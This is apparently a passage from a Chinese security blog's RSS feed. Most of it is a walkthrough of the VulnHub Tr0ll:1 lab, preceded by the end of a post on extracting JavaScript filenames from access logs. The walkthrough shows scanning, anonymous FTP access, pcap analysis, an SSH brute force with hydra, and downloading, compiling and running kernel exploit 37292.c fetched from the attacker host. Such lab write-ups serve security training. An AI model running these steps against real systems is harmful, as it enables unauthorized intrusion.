匹配 &lt;code&gt;GET&lt;/code&gt; 请求中的 &lt;code&gt;.js&lt;/code&gt; 文件路径，&lt;code&gt;\K&lt;/code&gt; 丢弃 &lt;code&gt;GET &lt;/code&gt; 前缀。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;awk -F/ '{print $NF}'&lt;/code&gt;&lt;/strong&gt;:
以 &lt;code&gt;/&lt;/code&gt; 分割路径，输出最后一个字段（文件名）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sort -u&lt;/code&gt;&lt;/strong&gt;:
排序并去重。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250516161619646" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516161619646.png"&gt;&lt;/p&gt;
&lt;h4 id="4-python-脚本提取唯一-js-文件名"&gt;&lt;strong&gt;4. Python 脚本：提取唯一 JS 文件名&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;import re
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;from collections import defaultdict
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;js_files&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; set&lt;span class="o"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 匹配 GET 请求中的 JS 文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; re.compile&lt;span class="o"&gt;(&lt;/span&gt;r&lt;span class="s1"&gt;&amp;#39;GET\s+([^ ]+?\.js)&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;with open&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;access_log.txt&amp;#39;&lt;/span&gt;, &lt;span class="s1"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; as f:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; line in f:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; pattern.search&lt;span class="o"&gt;(&lt;/span&gt;line&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; match:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; match.group&lt;span class="o"&gt;(&lt;/span&gt;1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 提取文件名（忽略路径）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; path.split&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)[&lt;/span&gt;-1&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; js_files.add&lt;span class="o"&gt;(&lt;/span&gt;filename&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 排序并输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; filename in sorted&lt;span class="o"&gt;(&lt;/span&gt;js_files&lt;span class="o"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; print&lt;span class="o"&gt;(&lt;/span&gt;filename&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516161703492" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516161703492.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day13 Tr0ll1 靶场WP</title><link>https://ruajingjing.top/post/day13-tr0ll1-%E9%9D%B6%E5%9C%BAwp/</link><pubDate>Fri, 16 May 2025 11:29:27 +0000</pubDate><guid>https://ruajingjing.top/post/day13-tr0ll1-%E9%9D%B6%E5%9C%BAwp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day13 Tr0ll1 靶场WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="tr0ll-1"&gt;Tr0ll: 1
&lt;/h2&gt;&lt;p&gt;靶场地址：https://www.vulnhub.com/entry/tr0ll-1,100/&lt;/p&gt;
&lt;h3 id="信息收集"&gt;信息收集
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo arp-scan -l 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -sS -sV -A -T5 -p- 172.168.169.140
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515165158667" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515165158667.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515165306712" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515165306712.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515165121709" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515165121709.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515165306712.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-robots.txt: &lt;span class="m"&gt;1&lt;/span&gt; disallowed entry 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_/secret
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个输出提示，有一个不让机器人爬虫爬取的目录&lt;code&gt;secret&lt;/code&gt;，越不让看什么越要看，看了就一个图片，还不如不看。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515170635618" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515170635618.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_End of status
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ftp-anon: Anonymous FTP login allowed &lt;span class="o"&gt;(&lt;/span&gt;FTP code 230&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_-rwxrwxrwx &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;1000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;8068&lt;/span&gt; Aug &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="m"&gt;2014&lt;/span&gt; lol.pcap &lt;span class="o"&gt;[&lt;/span&gt;NSE: writeable&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个输出提示，ftp有一个可以匿名访问的文件，&lt;code&gt;lol.pcap &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515171208776" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515171208776.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ftp 172.168.169.140
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ftp&amp;gt; user anonymous
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;ftp&amp;gt; ls
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;ftp&amp;gt; get lol.pcap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515171316340" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515171316340.png"&gt;&lt;/p&gt;
&lt;h3 id="抓包分析"&gt;抓包分析
&lt;/h3&gt;&lt;p&gt;用&lt;a class="link" href="https://blog.csdn.net/Bugatti100Peagle/article/details/147977129" target="_blank" rel="noopener"
 &gt;Day12 Kali渗透工具Powercat和Wireshark、tcpdump&lt;/a&gt; 介绍的工具打开流量包分析&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;tshark -r lol.pcap -T fields -e ip.dst &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; sort -nr &lt;span class="p"&gt;|&lt;/span&gt; head
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -n -r lol.pcap&lt;span class="p"&gt;|&lt;/span&gt; awk -F&lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $5}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; head 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -n -r lol.pcap&lt;span class="p"&gt;|&lt;/span&gt; awk -F&lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $3}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; head
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515171902215" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515171902215.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到21端口的请求数量较多，而且结合前面nmap的扫描结果来看，应该是有尝试多次登录ftp。所以就单独把21端口提出来看一下。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo tcpdump -n port 21 -r lol.pcap
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515172149068" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515172149068.png"&gt;&lt;/p&gt;
&lt;p&gt;然后发现了一个奇怪的txt文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515172656845" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515172656845.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -n -X -v -r capture.pcap tcp &lt;span class="c1"&gt;# 筛选所有tcp的流量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515173745107" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515173745107.png"&gt;&lt;/p&gt;
&lt;p&gt;单独把重要信息的端口的内容解析出来。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;tshark -r lol.pcap -Y &lt;span class="s2"&gt;&amp;#34;tcp.port == 51884&amp;#34;&lt;/span&gt; -T fields -e tcp.payload &lt;span class="p"&gt;|&lt;/span&gt; xxd -r -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515174001868" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250515174001868.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516091702581" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516091702581.png"&gt;&lt;/p&gt;
&lt;h3 id="网页目录信息收集"&gt;网页目录信息收集
&lt;/h3&gt;&lt;p&gt;这里一开始的&lt;code&gt;sup3rs3cr3tdirlol&lt;/code&gt;我没反应过来是什么，用AI翻译，AI自动识别位超级秘密目录，是把3看做e的做法，是英语中常见的作法。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516092621455" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516092621455.png"&gt;&lt;/p&gt;
&lt;p&gt;下载后查看似乎是个二进制文件。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget http://172.168.169.140/sup3rs3cr3tdirlol/roflmao 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516092927484" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516092927484.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516093100321" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516093100321.png"&gt;&lt;/p&gt;
&lt;p&gt;提示找到&lt;code&gt;0x0856BF&lt;/code&gt;地址继续，我们继续在网页中中找这个目录。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516093212862" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516093212862.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516093308104" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516093308104.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516093325263" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516093325263.png"&gt;&lt;/p&gt;
&lt;h3 id="ssh密码爆破"&gt;SSH密码爆破
&lt;/h3&gt;&lt;p&gt;找到似乎是用户名和密码的两个文件，推测是ssh密码，复制后用hydra爆破。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516093839062" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516093839062.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hydra -L user.txt -P pass.txt 172.168.169.140 ssh -v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget http://172.168.169.140/0x0856BF/this_folder_contains_the_password/Pass.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里作者开了个玩笑，密码不是&lt;code&gt;Good_job_:)&lt;/code&gt;也不是&lt;code&gt;Good_job_&lt;/code&gt;，而是文件名&lt;code&gt;Pass.txt&lt;/code&gt;。所以用&lt;code&gt;-p&lt;/code&gt;用一个密码字段爆破，即当前文件名，而不是&lt;code&gt;-P&lt;/code&gt;指定密码文件爆破。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516094553269" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516094553269.png"&gt;&lt;/p&gt;
&lt;p&gt;得到用户名&lt;code&gt;overflow&lt;/code&gt;和密码&lt;code&gt;Pass.txt&lt;/code&gt;，用ssh登录即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh overflow@172.168.169.140
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516094818802" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516094818802.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516095116888" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516095116888.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以得到两个信息，一个是上一次登录是2014年从&lt;code&gt;10.0.0.12&lt;/code&gt;登录的，所以这台靶机在流量包中的地址应该是&lt;code&gt;10.0.0.6&lt;/code&gt;，第二个信息是，登陆后限时3分钟的操作。&lt;/p&gt;
&lt;h3 id="内网信息收集和提权"&gt;内网信息收集和提权
&lt;/h3&gt;&lt;p&gt;好在只是限时3分钟，没有限制失败一次后不能在登陆。我们手速快一点是没问题的。首先收集以下内核信息。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;$ uname -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Linux troll 3.13.0-32-generic &lt;span class="c1"&gt;#57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;$ lsb_release -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;No LSB modules are available.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;Distributor ID: Ubuntu
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;Description: Ubuntu 14.04.1 LTS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;Release: 14.04
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;Codename: trusty
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;观察到Ubuntu版本比较老，所以可以尝试用老版本内核漏洞提权。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit Ubuntu 14.04 3.13.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m linux/local/37292.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516100514333" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516100514333.png"&gt;&lt;/p&gt;
&lt;p&gt;下载后，传到靶机编译后执行即可，由于有时长限制，我们先把要用到的脚本准备好。攻击机kali开启http服务。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python3 -m http.server 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516100732845" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516100732845.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget http://172.168.169.128:8000/37292.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gcc -o exp 37292.c 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;./exp
